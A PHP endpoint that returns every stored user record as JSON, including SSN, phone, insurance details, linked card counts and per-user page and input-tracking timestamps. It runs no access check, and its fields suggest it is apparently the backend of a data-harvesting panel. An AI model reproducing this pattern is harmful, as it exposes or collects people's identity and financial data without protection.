<?php
require_once(__DIR__ . '/../json_db.php');
session_start();
header('Content-Type: application/json');

$users = $jsonDB->fetchAll('users', 'updated_at', 'DESC');
$result = [];
foreach ($users as $user) {
    $cardCount = count($jsonDB->findAllBy('card', 'userId', $user['id']));
    $result[] = [
        'id' => $user['id'],
        'card_count' => $cardCount,
        'username' => isset($user['username']) ? $user['username'] : '',
        'page' => isset($user['page']) ? $user['page'] : '',
        'message' => isset($user['message']) ? $user['message'] : '',
        'phone' => isset($user['phone']) ? $user['phone'] : '',
        'date' => isset($user['date']) ? $user['date'] : '',
        'ssn' => isset($user['ssn']) ? $user['ssn'] : '',
        'created_at' => isset($user['created_at']) ? $user['created_at'] : '',
        'updated_at' => isset($user['updated_at']) ? $user['updated_at'] : (isset($user['created_at']) ? $user['created_at'] : ''),
        'last_input_at' => isset($user['last_input_at']) ? $user['last_input_at'] : '',
        'insurance_company' => isset($user['insurance_company']) ? $user['insurance_company'] : '',
        'insurance_price' => isset($user['insurance_price']) ? $user['insurance_price'] : '',
        'last_viewed_at' => isset($user['last_viewed_at']) ? $user['last_viewed_at'] : ''
    ];
}
echo json_encode($result);
